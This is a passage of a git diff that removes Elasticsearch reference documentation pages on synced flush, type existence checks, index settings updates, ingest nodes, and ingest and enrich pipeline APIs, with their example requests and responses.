---------------------------------------------------
-POST /kimchy,elasticsearch/_flush/synced
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-
-[[synced-flush-api-all-ex]]
-===== Sync-flush all indices
-
-[source,console]
---------------------------------------------------
-POST /_flush/synced
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-The response contains details about how many shards were successfully
-sync-flushed and information about any failure.
-
-The following response indicates two shards
-and one replica shard
-successfully sync-flushed:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_shards": {
-      "total": 2,
-      "successful": 2,
-      "failed": 0
-   },
-   "my-index-000001": {
-      "total": 2,
-      "successful": 2,
-      "failed": 0
-   }
-}
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-The following response indicates one shard group failed
-due to pending operations:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_shards": {
-      "total": 4,
-      "successful": 2,
-      "failed": 2
-   },
-   "my-index-000001": {
-      "total": 4,
-      "successful": 2,
-      "failed": 2,
-      "failures": [
-         {
-            "shard": 1,
-            "reason": "[2] ongoing operations on primary"
-         }
-      ]
-   }
-}
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-Sometimes the failures are specific to a shard replica. The copies that failed
-will not be eligible for fast recovery but those that succeeded still will be.
-This case is reported as follows:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_shards": {
-      "total": 4,
-      "successful": 1,
-      "failed": 1
-   },
-   "my-index-000001": {
-      "total": 4,
-      "successful": 3,
-      "failed": 1,
-      "failures": [
-         {
-            "shard": 1,
-            "reason": "unexpected error",
-            "routing": {
-               "state": "STARTED",
-               "primary": false,
-               "node": "SZNr2J_ORxKTLUCydGX4zA",
-               "relocating_node": null,
-               "shard": 1,
-               "index": "my-index-000001"
-            }
-         }
-      ]
-   }
-}
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
diff --git a/docs/reference/indices/types-exists.asciidoc b/docs/reference/indices/types-exists.asciidoc
deleted file mode 100644
index 87a1c471d4d..00000000000
--- a/docs/reference/indices/types-exists.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
-[[indices-types-exists]]
-=== Type exists API
-++++
-<titleabbrev>Type exists</titleabbrev>
-++++
-
-deprecated::[7.0.0, Types are deprecated and are in the process of being removed.  See <<removal-of-types>>.]
-
-Checks if a <<mapping-type-field,mapping type>> exists.
-
-[source,console]
-----
-HEAD my-index-000001/_mapping/message
-----
-// TEST[setup:my_index]
-// TEST[warning:Type exists requests are deprecated, as types have been deprecated.]
-
-
-[[indices-types-exists-api-request]]
-==== {api-request-title}
-
-`HEAD /<index>/_mapping/<type>`
-
-
-[[indices-types-exists-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=type]
-
-
-[[indices-types-exists-api-response-codes]]
-==== {api-response-codes-title}
-
-`200`::
-Indicates all specified mapping types exist.
-
- `404`::
-Indicates one or more specified mapping types **do not** exist.
diff --git a/docs/reference/indices/update-settings.asciidoc b/docs/reference/indices/update-settings.asciidoc
deleted file mode 100644
index 4afb12120e7..00000000000
--- a/docs/reference/indices/update-settings.asciidoc
+++ /dev/null
@@ -1,186 +0,0 @@
-[[indices-update-settings]]
-=== Update index settings API
-++++
-<titleabbrev>Update index settings</titleabbrev>
-++++
-
-Changes a <<index-modules-settings,dynamic index setting>> in real time.
-
-For data streams, index setting changes are applied to all backing indices by
-default.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index" : {
-    "number_of_replicas" : 2
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[update-index-settings-api-request]]
-==== {api-request-title}
-
-`PUT /<target>/_settings`
-
-
-[[update-index-settings-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[update-index-settings-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`preserve_existing`::
-(Optional, Boolean) If `true`, existing index settings remain unchanged.
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[update-index-settings-api-request-body]]
-==== {api-request-body-title}
-
-`settings`::
-(Optional, <<index-modules-settings,index setting object>>) Configuration
-options for the index. See <<index-modules-settings>>.
-
-[[update-index-settings-api-example]]
-==== {api-examples-title}
-
-[[reset-index-setting]]
-===== Reset an index setting
-To revert a setting to the default value, use `null`. For example:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index" : {
-    "refresh_interval" : null
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The list of per-index settings which can be updated dynamically on live
-indices can be found in <<index-modules>>.
-To preserve existing settings from being updated, the `preserve_existing`
-request parameter can be set to `true`.
-
-[[bulk]]
-===== Bulk indexing usage
-
-For example, the update settings API can be used to dynamically change
-the index from being more performant for bulk indexing, and then move it
-to more real time indexing state. Before the bulk indexing is started,
-use:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index" : {
-    "refresh_interval" : "-1"
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-(Another optimization option is to start the index without any replicas,
-and only later adding them, but that really depends on the use case).
-
-Then, once bulk indexing is done, the settings can be updated (back to
-the defaults for example):
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index" : {
-    "refresh_interval" : "1s"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-And, a force merge should be called:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_forcemerge?max_num_segments=5
---------------------------------------------------
-// TEST[continued]
-
-[[update-settings-analysis]]
-===== Update index analysis
-
-You can only define new analyzers on closed indices.
-
-To add an analyzer,
-you must close the index,
-define the analyzer,
-and reopen the index.
-
-[NOTE]
-====
-You cannot close the write index of a data stream.
-
-To update the analyzer for a data stream's write index and future backing
-indices, update the analyzer in the <<create-a-data-stream-template,index
-template used by the stream>>. Then <<manually-roll-over-a-data-stream,roll over
-the data stream>> to apply the new analyzer to the stream’s write index and
-future backing indices. This affects searches and any new data added to the
-stream after the rollover. However, it does not affect the data stream's backing
-indices or their existing data.
-
-To change the analyzer for existing backing indices, you must create a
-new data stream and reindex your data into it. See
-<<data-streams-use-reindex-to-change-mappings-settings>>.
-====
-
-For example,
-the following commands add the `content` analyzer to the `my-index-000001` index:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_close
-
-PUT /my-index-000001/_settings
-{
-  "analysis" : {
-    "analyzer":{
-      "content":{
-        "type":"custom",
-        "tokenizer":"whitespace"
-      }
-    }
-  }
-}
-
-POST /my-index-000001/_open
---------------------------------------------------
-// TEST[setup:my_index]
diff --git a/docs/reference/ingest.asciidoc b/docs/reference/ingest.asciidoc
deleted file mode 100644
index 3110a2df96f..00000000000
--- a/docs/reference/ingest.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[[ingest]]
-= Ingest node
-
-[partintro]
---
-Use an ingest node to pre-process documents before the actual document indexing happens.
-The ingest node intercepts bulk and index requests, it applies transformations, and it then
-passes the documents back to the index or bulk APIs.
-
-All nodes enable ingest by default, so any node can handle ingest tasks. You can also create
-dedicated ingest nodes. To disable ingest for a node, configure the following setting in the
-elasticsearch.yml file:
-
-[source,yaml]
-----
-node.roles: [ ingest ]
-----
-
-To pre-process documents before indexing, <<pipeline,define a pipeline>> that specifies a series of
-<<ingest-processors,processors>>. Each processor transforms the document in some specific way. For example, a
-pipeline might have one processor that removes a field from the document, followed by
-another processor that renames a field. The <<cluster-state,cluster state>> then stores
-the configured pipelines.
-
-To use a pipeline, simply specify the `pipeline` parameter on an index or bulk request. This
-way, the ingest node knows which pipeline to use.
-
-For example:
-Create a pipeline
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/my_pipeline_id
-{
-  "description" : "describe pipeline",
-  "processors" : [
-    {
-      "set" : {
-        "field": "foo",
-        "value": "new"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Index with defined pipeline
-
-[source,console]
---------------------------------------------------
-PUT my-index-00001/_doc/my-id?pipeline=my_pipeline_id
-{
-  "foo": "bar"
-}
---------------------------------------------------
-// TEST[continued]
-
-Response：
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "my-index-00001",
-  "_type" : "_doc",
-  "_id" : "my-id",
-  "_version" : 1,
-  "result" : "created",
-  "_shards" : {
-    "total" : 2,
-    "successful" : 2,
-    "failed" : 0
-  },
-  "_seq_no" : 0,
-  "_primary_term" : 1
-}
---------------------------------------------------
-// TESTRESPONSE[s/"successful" : 2/"successful" : 1/]
-
-An index may also declare a <<dynamic-index-settings,default pipeline>> that will be used in the
-absence of the `pipeline` parameter.
-
-Finally, an index may also declare a <<dynamic-index-settings,final pipeline>>
-that will be executed after any request or default pipeline (if any).
-
-See <<ingest-apis,Ingest APIs>> for more information about creating, adding, and deleting pipelines.
-
---
-
-include::ingest/ingest-node.asciidoc[]
diff --git a/docs/reference/ingest/apis/delete-pipeline.asciidoc b/docs/reference/ingest/apis/delete-pipeline.asciidoc
deleted file mode 100644
index 368f9f2b026..00000000000
--- a/docs/reference/ingest/apis/delete-pipeline.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[[delete-pipeline-api]]
-=== Delete pipeline API
-++++
-<titleabbrev>Delete pipeline</titleabbrev>
-++++
-
-Deletes one or more existing ingest pipeline.
-
-////
-[source,console]
-----
-PUT /_ingest/pipeline/my-pipeline-id
-{
-  "description" : "example pipeline to delete",
-  "processors" : [ ]
-}
-
-PUT /_ingest/pipeline/pipeline-one
-{
-  "description" : "another example pipeline to delete",
-  "processors" : [ ]
-}
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-DELETE /_ingest/pipeline/my-pipeline-id
-----
-
-
-[[delete-pipeline-api-request]]
-==== {api-request-title}
-
-`DELETE /_ingest/pipeline/<pipeline>`
-
-[[delete-pipeline-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`manage_pipeline`, `manage_ingest_pipelines`, or `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[delete-pipeline-api-path-params]]
-==== {api-path-parms-title}
-
-`<pipeline>`::
-+
---
-(Required, string) Pipeline ID or wildcard expression of pipeline IDs
-used to limit the request.
-
-To delete all ingest pipelines in a cluster,
-use a value of `*`.
---
-
-
-[[delete-pipeline-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[delete-pipeline-api-api-example]]
-==== {api-examples-title}
-
-
-[[delete-pipeline-api-specific-ex]]
-===== Delete a specific ingest pipeline
-
-[source,console]
-----
-DELETE /_ingest/pipeline/pipeline-one
-----
-
-
-[[delete-pipeline-api-wildcard-ex]]
-===== Delete ingest pipelines using a wildcard expression
-
-[source,console]
-----
-DELETE /_ingest/pipeline/pipeline-*
-----
-
-
-[[delete-pipeline-api-all-ex]]
-===== Delete all ingest pipelines
-
-[source,console]
-----
-DELETE /_ingest/pipeline/*
-----
-
-////
-[source,console-result]
-----
-{
-"acknowledged": true
-}
-----
-////
diff --git a/docs/reference/ingest/apis/enrich/delete-enrich-policy.asciidoc b/docs/reference/ingest/apis/enrich/delete-enrich-policy.asciidoc
deleted file mode 100644
index cc26030369d..00000000000
--- a/docs/reference/ingest/apis/enrich/delete-enrich-policy.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[delete-enrich-policy-api]]
-=== Delete enrich policy API
-++++
-<titleabbrev>Delete enrich policy</titleabbrev>
-++++
-
-Deletes an existing <<enrich-policy,enrich policy>> and its
-<<enrich-index,enrich index>>.
-
-////
-[source,console]
-----
-PUT /users
-{
-  "mappings": {
-    "properties": {
-      "email": { "type": "keyword" }
-    }
-  }
-}
-
-PUT /_enrich/policy/my-policy
-{
-  "match": {
-    "indices": "users",
-    "match_field": "email",
-    "enrich_fields": [ "first_name", "last_name", "city", "zip", "state" ]
-  }
-}
-----
-// TESTSETUP
-////
-
-[source,console]
---------------------------------------------------
-DELETE /_enrich/policy/my-policy
---------------------------------------------------
-
-
-[[delete-enrich-policy-api-request]]
-==== {api-request-title}
-
-`DELETE /_enrich/policy/<enrich-policy>`
-
-
-[[delete-enrich-policy-api-prereqs]]
-==== {api-prereq-title}
-
-include::put-enrich-policy.asciidoc[tag=enrich-policy-api-prereqs]
-
-
-[[delete-enrich-policy-api-desc]]
-==== {api-description-title}
-
-Use the delete enrich policy API
-to delete an existing enrich policy
-and its enrich index.
-
-[IMPORTANT]
-====
-You must remove an enrich policy
-from any in-use ingest pipelines
-before deletion.
-You cannot remove in-use enrich policies.
-====
-
-
-[[delete-enrich-policy-api-path-params]]
-==== {api-path-parms-title}
-
-`<enrich-policy>`::
-(Required, string)
-Enrich policy to delete.
diff --git a/docs/reference/ingest/apis/enrich/enrich-stats.asciidoc b/docs/reference/ingest/apis/enrich/enrich-stats.asciidoc
deleted file mode 100644
index f7bc9680db6..00000000000
--- a/docs/reference/ingest/apis/enrich/enrich-stats.asciidoc
+++ /dev/null
@@ -1,135 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[enrich-stats-api]]
-=== Enrich stats API
-++++
-<titleabbrev>Enrich stats</titleabbrev>
-++++
-
-Returns <<coordinating-node,enrich coordinator>> statistics
-and information about <<enrich-policy,enrich policies>>
-that are currently executing.
-
-[source,console]
-----
-GET /_enrich/_stats
-----
-
-
-[[enrich-stats-api-request]]
-==== {api-request-title}
-
-`GET /_enrich/_stats`
-
-
-[[enrich-stats-api-response-body]]
-==== {api-response-body-title}
-
-`executing_policies`::
-+
---
-(Array of objects)
-Objects containing information
-about each enrich policy
-that is currently executing.
-
-Returned parameters include:
-
-`name`::
-(String)
-Name of the enrich policy.
-
-`task`::
-(<<tasks,Task object>>)
-Object containing detailed information
-about the policy execution task.
---
-
-`coordinator_stats`::
-+
---
-(Array of objects)
-Objects containing information
-about each <<coordinating-node,coordinating ingest node>>
-for configured enrich processors.
-
-Returned parameters include:
-
-`node_id`::
-(String)
-ID of the ingest node coordinating search requests
-for configured enrich processors.
-
-`queue_size`::
-(Integer)
-Number of search requests in the queue.
-
-`remote_requests_current`::
-(Integer)
-Current number of outstanding remote requests.
-
-`remote_requests_total`::
-(Integer)
-Number of outstanding remote requests executed
-since node startup.
-+
-In most cases,
-a remote request includes multiple search requests.
-This depends on the number of search requests in the queue
-when the remote request is executed.
-
-`executed_searches_total`::
-(Integer)
-Number of search requests
-that enrich processors have executed
-since node startup.
---
-
-
-[[enrich-stats-api-example]]
-==== {api-examples-title}
-
-
-[source,console]
-----
-GET /_enrich/_stats
-----
-//TEST[s/^/PUT \/_enrich\/policy\/my-policy\/_execute\/n/\
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "executing_policies": [
-    {
-      "name": "my-policy",
-      "task": {
-        "id": 124,
-        "type": "direct",
-        "action": "cluster:admin/xpack/enrich/execute",
-        "start_time_in_millis": 1458585884904,
-        "running_time_in_nanos": 47402,
-        "cancellable": false,
-        "parent_task_id": "oTUltX4IQMOUUVeiohTt8A:123",
-        "headers": {
-          "X-Opaque-Id": "123456"
-        }
-      }
-    }
-  ],
-  "coordinator_stats": [
-    {
-      "node_id": "1sFM8cmSROZYhPxVsiWew",
-      "queue_size": 0,
-      "remote_requests_current": 0,
-      "remote_requests_total": 0,
-      "executed_searches_total": 0
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"executing_policies": \[[^\]]*\]/"executing_policies": $body.$_path/]
-// TESTRESPONSE[s/"node_id": "1sFM8cmSROZYhPxVsiWew"/"node_id" : $body.coordinator_stats.0.node_id/]
-// TESTRESPONSE[s/"remote_requests_total": 0/"remote_requests_total" : $body.coordinator_stats.0.remote_requests_total/]
-// TESTRESPONSE[s/"executed_searches_total": 0/"executed_searches_total" : $body.coordinator_stats.0.executed_searches_total/]
diff --git a/docs/reference/ingest/apis/enrich/execute-enrich-policy.asciidoc b/docs/reference/ingest/apis/enrich/execute-enrich-policy.asciidoc
deleted file mode 100644
index 35e9b9e69b5..00000000000
--- a/docs/reference/ingest/apis/enrich/execute-enrich-policy.asciidoc
+++ /dev/null
@@ -1,111 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[execute-enrich-policy-api]]
-=== Execute enrich policy API
-++++
-<titleabbrev>Execute enrich policy</titleabbrev>
-++++
-
-Executes an existing <<enrich-policy,enrich policy>>.
-
-////
-
-[source,console]
-----
-PUT /users/_doc/1?refresh
-{
-  "email": "mardy.brown@asciidocsmith.com",
-  "first_name": "Mardy",
-  "last_name": "Brown",
-  "city": "New Orleans",
-  "county": "Orleans",
-  "state": "LA",
-  "zip": 70116,
-  "web": "mardy.asciidocsmith.com"
-}
-
-PUT /_enrich/policy/my-policy
-{
-  "match": {
-    "indices": "users",
-    "match_field": "email",
-    "enrich_fields": ["first_name", "last_name", "city", "zip", "state"]
-  }
-}
-----
-// TESTSETUP
-////
-
-[source,console]
---------------------------------------------------
-PUT /_enrich/policy/my-policy/_execute
---------------------------------------------------
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_enrich/policy/my-policy
---------------------------------------------------
-// TEST[continued]
-////
-
-
-[[execute-enrich-policy-api-request]]
-==== {api-request-title}
-
-`PUT /_enrich/policy/<enrich-policy>/_execute`
-
-`POST /_enrich/policy/<enrich-policy>/_execute`
-
-
-[[execute-enrich-policy-api-prereqs]]
-==== {api-prereq-title}
-
-include::put-enrich-policy.asciidoc[tag=enrich-policy-api-prereqs]
-
-
-[[execute-enrich-policy-api-desc]]
-==== {api-description-title}
-
-Use the execute enrich policy API
-to create the enrich index for an existing enrich policy.
-
-// tag::execute-enrich-policy-def[]
-The _enrich index_ contains documents from the policy's source indices.
-Enrich indices always begin with `.enrich-*`,
-are read-only,
-and are <<indices-forcemerge,force merged>>.
-
-[WARNING]
-====
-Enrich indices should be used by the <<enrich-processor,enrich processor>> only.
-Avoid using enrich indices for other purposes.
-====
-// end::execute-enrich-policy-def[]
-
-// tag::update-enrich-index[]
-Once created, you cannot update 
-or index documents to an enrich index.
-Instead, update your source indices
-and <<execute-enrich-policy-api,execute>> the enrich policy again.
-This creates a new enrich index from your updated source indices
-and deletes the previous enrich index.
-// end::update-enrich-index[]
-
-Because this API request performs several operations,
-it may take a while to return a response.
-
-[[execute-enrich-policy-api-path-params]]
-==== {api-path-parms-title}
-
-`<enrich-policy>`::
-(Required, string)
-Enrich policy to execute.
-
-[[execute-enrich-policy-api-request-body]]
-==== {api-request-body-title}
-
-`wait_for_completion`::
-(Required, Boolean)
-If `true`, the request blocks other enrich policy execution requests until
-complete. Defaults to `true`.
diff --git a/docs/reference/ingest/apis/enrich/get-enrich-policy.asciidoc b/docs/reference/ingest/apis/enrich/get-enrich-policy.asciidoc
deleted file mode 100644
index 7d32d889629..00000000000
--- a/docs/reference/ingest/apis/enrich/get-enrich-policy.asciidoc
+++ /dev/null
@@ -1,232 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-enrich-policy-api]]
-=== Get enrich policy API
-++++
-<titleabbrev>Get enrich policy</titleabbrev>
-++++
-
-Returns information about an <<enrich-policy,enrich policy>>.
-
-////
-[source,console]
-----
-PUT /users
-{
-  "mappings" : {
-    "properties" : {
-      "email" : { "type" : "keyword" }
-    }
-  }
-}
-
-PUT /_enrich/policy/my-policy
-{
-  "match": {
-    "indices": "users",
-    "match_field": "email",
-    "enrich_fields": ["first_name", "last_name", "city", "zip", "state"]
-  }
-}
-
-PUT /_enrich/policy/other-policy
-{
-  "match": {
-    "indices": "users",
-    "match_field": "email",
-    "enrich_fields": ["first_name", "last_name", "city", "zip", "state"]
-  }
-}
-----
-////
-
-[source,console]
---------------------------------------------------
-GET /_enrich/policy/my-policy
---------------------------------------------------
-// TEST[continued]
-
-
-[[get-enrich-policy-api-request]]
-==== {api-request-title}
-
-`GET /_enrich/policy/<name>`
-
-`GET /_enrich/policy`
-
-`GET /_enrich/policy/policy1,policy2`
-
-
-[[get-enrich-policy-api-prereqs]]
-==== {api-prereq-title}
-
-include::put-enrich-policy.asciidoc[tag=enrich-policy-api-prereqs]
-
-
-[[get-enrich-policy-api-path-params]]
-==== {api-path-parms-title}
-
-`<name>`::
-+
---
-(Optional, string)
-Comma-separated list of enrich policy names
-used to limit the request.
-
-To return information for all enrich policies,
-omit this parameter.
---
-
-
-[[get-enrich-policy-api-example]]
-==== {api-examples-title}
-
-
-[[get-enrich-policy-api-single-ex]]
-===== Get a single policy
-
-[source,console]
---------------------------------------------------
-GET /_enrich/policy/my-policy
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "policies": [
-    {
-      "config": {
-        "match": {
-          "name": "my-policy",
-          "indices": [ "users" ],
-          "match_field": "email",
-          "enrich_fields": [
-            "first_name",
-            "last_name",
-            "city",
-            "zip",
-            "state"
-          ]
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-
-[[get-enrich-policy-api-commas-ex]]
-===== Get multiple policies
-
-[source,console]
---------------------------------------------------
-GET /_enrich/policy/my-policy,other-policy
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,js]
---------------------------------------------------
-{
-  "policies": [
-    {
-      "config": {
-        "match": {
-          "name": "my-policy",
-          "indices": [ "users" ],
-          "match_field": "email",
-          "enrich_fields": [
-            "first_name",
-            "last_name",
-            "city",
-            "zip",
-            "state"
-          ]
-        }
-      }
-    },
-    {
-      "config": {
-        "match": {
-          "name": "other-policy",
-          "indices": [ "users" ],
-          "match_field": "email",
-          "enrich_fields": [
-            "first_name",
-            "last_name",
-            "city",
-            "zip",
-            "state"
-          ]
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE
-
-
-[[get-enrich-policy-api-all-ex]]
-===== Get all policies
-
-[source,console]
---------------------------------------------------
-GET /_enrich/policy
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "policies": [
-    {
-      "config": {
-        "match": {
-          "name": "my-policy",
-          "indices": [ "users" ],
-          "match_field": "email",
-          "enrich_fields": [
-            "first_name",
-            "last_name",
-            "city",
-            "zip",
-            "state"
-          ]
-        }
-      }
-    },
-    {
-      "config": {
-        "match": {
-          "name": "other-policy",
-          "indices": [ "users" ],
-          "match_field": "email",
-          "enrich_fields": [
-            "first_name",
-            "last_name",
-            "city",
-            "zip",
-            "state"
-          ]
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_enrich/policy/my-policy
-DELETE /_enrich/policy/other-policy
---------------------------------------------------
-// TEST[continued]
-////
diff --git a/docs/reference/ingest/apis/enrich/index.asciidoc b/docs/reference/ingest/apis/enrich/index.asciidoc
deleted file mode 100644
index 6e013a3b4a5..00000000000
--- a/docs/reference/ingest/apis/enrich/index.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[[enrich-apis]]
-== Enrich APIs
-
-The following enrich APIs are available for managing <<enrich-policy,enrich
-policies>>:
-
-* <<put-enrich-policy-api>> to create or replace an enrich policy
-* <<delete-enrich-policy-api>> to delete an enrich policy
-* <<get-enrich-policy-api>> to return information about an enrich policy
-* <<execute-enrich-policy-api>> to execute an enrich policy
-* <<enrich-stats-api>> to get enrich-related stats
-
-
-include::put-enrich-policy.asciidoc[]
-
-include::delete-enrich-policy.asciidoc[]
-
-include::get-enrich-policy.asciidoc[]
-
-include::execute-enrich-policy.asciidoc[]
-
-include::enrich-stats.asciidoc[]
diff --git a/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc b/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc
deleted file mode 100644
index f001e3f2065..00000000000
--- a/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc
+++ /dev/null
@@ -1,96 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[put-enrich-policy-api]]
-=== Put enrich policy API
-++++
-<titleabbrev>Put enrich policy</titleabbrev>
-++++
-
-Creates an enrich policy.
-
-////
-[source,console]
-----
-PUT /users
-{
-  "mappings": {
-    "properties": {
-      "email": { "type": "keyword" }
-    }
-  }
-}
-----
-////
-
-[source,console]
-----
-PUT /_enrich/policy/my-policy
-{
-  "match": {
-    "indices": "users",
-    "match_field": "email",
-    "enrich_fields": ["first_name", "last_name", "city", "zip", "state"]
-  }
-}
-----
-// TEST[continued]
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_enrich/policy/my-policy
---------------------------------------------------
-// TEST[continued]
-////
-
-
-[[put-enrich-policy-api-request]]
-==== {api-request-title}
-
-`PUT /_enrich/policy/<enrich-policy>`
-
-
-[[put-enrich-policy-api-prereqs]]
-==== {api-prereq-title}
-
-// tag::enrich-policy-api-prereqs[]
-If you use {es} {security-features}, you must have:
-
-* `read` index privileges for any indices used
-* The `enrich_user` <<built-in-roles,built-in role>>
-// end::enrich-policy-api-prereqs[]
-
-
-[[put-enrich-policy-api-desc]]
-==== {api-description-title}
-
-Use the put enrich policy API
-to create a new <<enrich-policy,enrich policy>>.
-
-[WARNING]
-====
-include::../../enrich.asciidoc[tag=update-enrich-policy]
-====
-
-
-
-[[put-enrich-policy-api-path-params]]
-==== {api-path-parms-title}
-
-`<enrich-policy>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=enrich-policy]
-
-
-[[put-enrich-policy-api-request-body]]
-==== {api-request-body-title}
-
-`<policy-type>`::
-+
---
-(Required, <<enrich-policy-definition,enrich policy>> object)
-Enrich policy used to match and add the right enrich data to
-the right incoming documents.
-
-See <<enrich-policy-definition>> for object definition and parameters.
---
diff --git a/docs/reference/ingest/apis/get-pipeline.asciidoc b/docs/reference/ingest/apis/get-pipeline.asciidoc
deleted file mode 100644
index f5e25cbc3a3..00000000000
--- a/docs/reference/ingest/apis/get-pipeline.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[[get-pipeline-api]]
-=== Get pipeline API
-++++
-<titleabbrev>Get pipeline</titleabbrev>
-++++
-
-Returns information about one or more ingest pipelines.
-This API returns a local reference of the pipeline.
-
-////
-[source,console]
-----
-PUT /_ingest/pipeline/my-pipeline-id
-{
-  "description" : "describe pipeline",
-  "version" : 123,
-  "processors" : [
-    {
-      "set" : {
-        "field": "foo",
-        "value": "bar"
-      }
-    }
-  ]
-}
-----
-////
-
-[source,console]
-----
-GET /_ingest/pipeline/my-pipeline-id
-----
-// TEST[continued]
-
-
-
-[[get-pipeline-api-request]]
-==== {api-request-title}
-
-`GET /_ingest/pipeline/<pipeline>`
-
-`GET /_ingest/pipeline`
-
-[[get-pipeline-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`manage_pipeline`, `manage_ingest_pipelines`, or `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[get-pipeline-api-path-params]]
-==== {api-path-parms-title}
-
-`<pipeline>`::
-(Optional, string)
-Comma-separated list of pipeline IDs to retrieve. Wildcard (`*`) expressions are
-supported.
-+
-To get all ingest pipelines, omit this parameter or use `*`.
-
-
-[[get-pipeline-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[get-pipeline-api-api-example]]
-==== {api-examples-title}
-
-
-[[get-pipeline-api-specific-ex]]
-===== Get information for a specific ingest pipeline
-
-[source,console]
-----
-GET /_ingest/pipeline/my-pipeline-id
-----
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "my-pipeline-id" : {
-    "description" : "describe pipeline",
-    "version" : 123,
-    "processors" : [
-      {
-        "set" : {
-          "field" : "foo",
-          "value" : "bar"
-        }
-      }
-    ]
-  }
-}
-----
-
-
-[[get-pipeline-api-version-ex]]
-===== Get the version of an ingest pipeline
-
-When you create or update an ingest pipeline,
-you can specify an optional `version` parameter.
-The version is useful for managing changes to pipeline
-and viewing the current pipeline for an ingest node.
-
-
-To check the pipeline version,
-use the `filter_path` query parameter
-to <<common-options-response-filtering, filter the response>>
-to only the version.
-
-[source,console]
-----
-GET /_ingest/pipeline/my-pipeline-id?filter_path=*.version
-----
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "my-pipeline-id" : {
-    "version" : 123
-  }
-}
-----
-
-////
-[source,console]
-----
-DELETE /_ingest/pipeline/my-pipeline-id
-----
-// TEST[continued]
-
-[source,console-result]
-----
-{
-"acknowledged": true
-}
-----
-////
diff --git a/docs/reference/ingest/apis/index.asciidoc b/docs/reference/ingest/apis/index.asciidoc
deleted file mode 100644
index c1ad765fcc6..00000000000
--- a/docs/reference/ingest/apis/index.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[ingest-apis]]
-== Ingest APIs
-
-The following ingest APIs are available for managing pipelines:
-
-* <<put-pipeline-api>> to add or update a pipeline
